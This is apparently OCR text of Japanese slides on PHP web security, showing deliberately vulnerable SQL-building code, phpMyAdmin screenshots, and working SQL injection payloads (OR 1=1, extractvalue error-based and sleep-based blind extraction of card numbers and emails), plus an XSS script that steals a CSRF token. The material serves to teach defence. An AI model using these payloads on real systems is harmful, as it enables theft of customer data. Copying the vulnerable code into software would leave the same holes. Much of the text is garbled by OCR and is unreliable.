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iInformation_schema

3

A park.jp / localhost / infi % WY

o

phpiyAdmin
AR -

F—HN—2R
information_schema (40) -

information_schema (40)

X

Bl CHARACTER_SETS

B COLLATIONS

Bl COLLATION_CHARACTER_SET_
Bl cOLUMNS

B coLUMN_PRIVILEGES

B ENGINES

Bl EVENTS

B rILEsS

B GLOBAL_STATUS

B GLOBAL_VARIABLES

Bl INNODB_BUFFER_PAGE

Bl INNODE_BUFFER_PAGE_LRU
B INNODB_BUFFER_POOL_STAT:
B INNODB_CMP

Bl INNODB_CMPMEM

Bl INNODB_CMPMEM_RESET
B INNODB_CMP_RESET

Bl INNODB_LOCKS

Bl INNODB_LOCK_WAITS

Bl INNODB_TRX

B KEY_COLUMMN_USAGE

Bl PARAMETERS

E] PARTITIONS

B fLUGINS

B PROCESSLIST

B PROFILING
4 3

C | [ park.jp/phpmyadmin/index.php?db=information_schema&token=06ef79ad51bf9403ff7f88cf1c69fchc »

i3 localhost » information_schema » COLUMNS

ER% s

SESQL  J4eE

= Tracking

B2 AH—I

o FToAR@F 960 - 989 (3,320 &5, ATV OETER 0.1548 #)

SELECT *
FROM ~ COLURKS
LIMT 360 , 30

JOJ7PAUA [ HBE ] [ EXPLAIN THEEE 1 [ PHP O— FoiErk 1 [ BEE ]

[=<] [=] Fm o 30
Tk E

+AT=3>

TABLE_CATALOG TABLE_SCHEMA
def eccube_db

def eccube_db

def eccube_db

def eccube_db

def eccube_db

def eccube_db

def eccube_db

def eccube_db

def eccube_db

def eccube_db

def eccube_db

def eccube_db

RII&1T 990
v | (|100

<)

L

TABLE_MNAME
dtb_api_config
dtb_api_config
dtb_api_config
dtb_api_config
dtb_api_config
dtb_api_config
dtb_api_config
dtb_api_config
dtb_api_config_api_config_id_seq
dth_baseinfo
dtb_basesinfo
dtb_baseinfo

[CAwiER

~N—TES
33 0r

= =]

COLUMMN_MNAME ORDINAL_POSITI
operation_description
auth_types

enable

is_log

sub_data

del_flg

create_date
update_date
seguence

id

company_name

company_kana




NAIIAXLI-BEmEIZSQLA Yo a (F&RaEH)

@ ECICUBE.
HEHESIRE
BEEHETE
HRIEME "OR 1=1 LIMIT 3 # izl BT
COEHTRETD O
ZFD BHiFE= FRERE Gl g
1 QE00000 dLiEiE gt s FICisfavilas
2 0540041 1EEiE FmgromE a4
3 0500041 dLiEiE gt s FoEE

$state = $_POST['state;

$city =$ POST['city];

$town =$ POST[town;

$db = mysqgl_connect(DB_SERVER, DB_USER, DB_PASSWORD);
mysql_select_db(DB_NAME, $db);

$r = mysqgl_query("SELECT * FROM mtb_zip WHERE state = '$state’ AND city LIKE '$city%'
AND town LIKE '$town%' LIMIT 100");
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ATC—BTENTULAPHPH T E

DY)

/| ZCETT, RAEFATHACDRENFATLDS

$id =$ REQUEST['dY;

I RWEERET S

$sql = sprintf('SELECT * FROM posts WHERE id=%d",
mysql_real_escape_string($id));

$record = mysql_query($sql) or die(mysql_error());
$table = mysql_fetch _assoc($record);

if ($table['member_id’] == $ SESSION[id]) { // 12f5E DR | —=[=SQLIrZzv2ay

Il ERLE=AATHNIL, BIFR

mysgl_query(DELETE FROM posts WHERE id=". mysql _real escape_string($id))

or die(mysqgl_error());

}

LAL.DELETE FROM
SFDTRRIEIEL

HASH
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LS — Ayt —U B EER TS EY

MySQLIZIZS—AvE—2 D (ZYTIILDERESHELE
DOMZUH ., FHl4EL TextractvalueFAE M 6 5

mysql> select extractvalue('<a><b>xss</b></a>"', '/a/b');

e T TP +
| extractvalue('<a><b>xss</b></a>', '/a/b') | « E&EZ
e L L TP +
| xss |
e L L TP +

mysql> SELECT extractvalue('<a><b>xss</b></a>"', '/$this is a pen');
ERROR 1105 (HYQ0O): XPATH syntax error: '$this is a pen’

BIfILVEDHEIZLY., extravaluelZhEETS—DHBIIT)%E
AW TIE#RZ
mysql> SELECT extractvalue('',concat('/$',(SELECT cardnumber FROM

eccube _db.dtb _customer card LIMIT 1 OFFSET 0) ));
General error: 1105 XPATH syntax error: '$1234567890123456"

HASH e
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SQLXDIS—MNEIOIMNEMNTIHEHRZZD
¢ SQLAI U avIZkYEITEINSHSQLIX DA
DELETE FROM posts WHERE 1d=18-(SELECT id FROM
members WHERE id LIKE char(49) ESCAPE
IF(SUBSTR((SELECT email FROM members LIMIT
1,1),1,1)>="M', 'a’, 'ab’)))
« WHERE®]MDH 18-(SELECT ... WHERE ...)
- FOWHEREA]IE
LIKE i#RZEICESCAPEGIA H D
- ESCAPEAIZIFEE#IZLY . membersD1TE D 1XFE M
'MELEDIZEa . ENLUSNDIEE ab’
« SQLX Mk L, ESCAPERIFINXFLUSNZETS—
« COFERERYIRT ILICEOT. HEXFIERKRYIAD
—TIAVRSQLAV o3y

HHSH
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- =N o 5
[\\ \::Ijl |L-=2:| @ nhttp://park.jp/entry.html O ~ & || @& park.jp
P REGE T
HER |Eas |
HA—JLFFL R |tokumaru@example jp |
T (EEaRIE |
==
# 100%
= e 5
el‘l:—%:l & http://park.jp/entry_do.php L~ ¢ | @ parkijp o 5 5 o)

BiFLFELL
SQL: INSERT INTO entries VALUES ('{E0E', 'tokumsrufexample.dip', 'BERAFmIIE")

#ODseLMIHZTTERTT

#,100% ~
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SQLA oz aviBEENH L) —R

<?php
$name = $ REQUEST[ 'name’];
$mail = $ REQUEST[ 'mail’];

$address = $ REQUEST][ 'address'];
try {
$con = new PDO("mysql:host=1localhost;dbname=db;charset=utf8", ..
$con->setAttribute(PDO: :ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$sql =
"INSERT INTO entries VALUES('$name', '$mail', '$address')";
$result = $con->exec($sql);

} catch (PDOException $e) { ColSSQLAY Tz Ay
// Bl
h
2>
<p>BEEELFELI=</p> /ﬁﬁ?b§fiL\®’G

SNUEHmIERELGEN? S

HASH
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FrEZEZ2FALTE#HRZET

. sleepB#M TSR EFLEDE
INSERT INTO entries VALUES(", (SELECT sleep(5)), null) --',", ")

 eccube_db.dtb_customer _card7—7JL11T B Mcardnumber
FIXFBEMN 5 DIZEDAHSFFD
INSERT INTO entries VALUES(",(select if(substr((select
cardnumber from eccube db.dtb customer card limit
0,1),1,1) ='1';sleep(5),0)), null) -- *,")

e INEHRYIRTZEIZKY.ECHAMDI—KRIFEHEZKRDHLND

Z%: http://blog.tokumaru.org/2012/12/blind-sgl-injection-php-exploit. htm|
HASH
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. - BN AT AT —E AN
2 50ARZNAEBY A bd -
V% Tork BLEiAH EUA S
r’ 25{5,9136 [ ") JEREURLS hd E94 b(ﬁmlj)
- . [re=mt k. _,r\_‘|JI_.';I‘_.r
VB R ERAR w ﬁj’ﬁ ( Na http://fragt.freezy.com?key=y01
OCNIE=EEDL 20064&H - LAA[CSRFUI% ATOHTTPOI A Meix(S)
LV PH B ELS TIFAZICLLBATT R: w
2012/06/29(5) 15171549 F{Em199.48.147.35
2 ATTH..
http://is.gd/STDCO 3
. ") BH R D
EIXBEOPCHS
PIURLENS? 5 || EReFEIaNE
EIA—LICBFICE
Bateena
D) 1431
HETIPFELARTIC
it S a3
— [ iR
— [MHEMOIRE I SREAIA-L
PITFSOVTRE { (CSRFREISENTFIE)
WEE RO T T I piyokangohfFaK
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AT—BFENTLAPHPHHEEN YT

005: 1if (isset($ SESSION['id']) && $ SESSION['time'] + 3600 > time()) {
006: // BTALTWS HIE

014: } else {

015: // BT ALTLVEND

016: header ('Location: login.php'); exit():

017: }

018:

019: // ®&EZEEHETH

020: if (!empty (S POST)) {

CSRFHz53 1%
XL TLVELY

021: if ($ POST['message'] != '") {

022: $sgql = sprintf ('INSERT INTO posts SET member id=%d, message="%s",
reply post 1d=%d, created=NOW() "',

023: mysql_real_escape_string($member['id']),

024: mysql real escape string($ POST['message'l]),

025: mysql real escape string($ POST['reply post id'])

026: ) 7

027: mysgl query($Ssgl) or die(mysgl error()):;

029: header ('Location: index.php'); exit();

030: }

031: }
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XSSIFEEfEEN?
« XSSIZ.
- FABEWEB)DIZIIOYT LT
— MEBNRZDRA (F)DU)T
— WEHEMNBEHIZIJavaScriptZEITTE5S
* u’ha’D—Cs "74)1/}(?
— DAILATITHEOD  FERELTOAMILRERLCEOILHE
— XSSEERLE=IAMILR(T—L) LD H B
« Do EFE- HoN-DERL

— B EF(XXSSHiES IEODZ?S%‘)’\—/&HLF}'f/(T'J V)
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XSSO TE

e FIFEDCSRFAFRFHADIBRIRT. BYTELESE
ARAZRHOTHED

« EITTEHRAVIVITMITEDLD

<script>

var token = document.getElementsByName ('token') [0].value;
var req = new XMLHttpRequest()

reqg.open ('POST',

'index.php')

req.setRequestHeader ('Content-Type',

'application/x-www-form-urlencoded') ;

data = 'message=IFIEFELHPA ! CAITBIXZAIZBIE ! ! stoken="

+ token;
req.send (data) ;
</script>

HASH
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<?php
$name = $ POST[ 'name'];
$mail = $ POST[ 'mail'];

$address = $ POST[ 'address’];

try {
$con = new
PDO("mysql:host=1ocalhost;dbname=db;charset=utf8", ..);
$con->setAttribute(PDO: :ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$sql = "INSERT INTO entries VALUES('$name’', '$mail’', '$address’')";
$result = $con->exec($sql);

} catch (PDOException $e) {
// do nothing

}
o<p>EBELFELI=</p>
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INSERT INTO entries VALUES('$pname', '$mail’', '$address’)

', (select if(substr((select email from
mini_bbs.members limit ©,1),1,1) =
'a',sleep(5),0)),null)#

HEEMNYDSQLX

INSERT INTO entries VALUES('', (select if(substr((select email
from mini_bbs.members limit ©0,1),1,1) = 'a',sleep(5),0)),
null)#l) ll, II)
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1 <Yphp
i Sname = § POST[ 'name’]; v
3 Smail = § POST'mail '];
fﬁ’r $addEess = § POST["address™]; name
trw
B fcon = new PDOC"mysgl thost=localhost jdbname=db;charset =utf87, “root™, “mysal™); v
7 Scan->settiribute (PDO: :ATTR FRRODE, PDO::ERRHODE_EXCEFTION]; .
g S5l = "INSERT INTO entries WALUES("$name’, "$mail™, "$address’)™;
g fresult = $con-rexec(lsal); v
10 } catch (PDOException $e) {
H fE TR LA 1 $_DoubleQuoted. .
E . .
14 <p>FfRL F L2
15 sql
Y
sql
Y
axec
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SQL Injection\/~ 2 5:
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T4 58 http://ASUSOL1/CxWebClient/ViewerMain.aspx?scanid=10040&projectid=1002

7&pathid=5
AT —HF A A
J—A (E3E
774/  Jentry_do.php /entry_do.php
T4 2 9
A7 =7 _POST exec

k

a— A=~y b
774N J/entry_do.php
AV F <?php

2. Sname = 5 POST['name'];

i g, Sresult = Scon->exec($sqgl);
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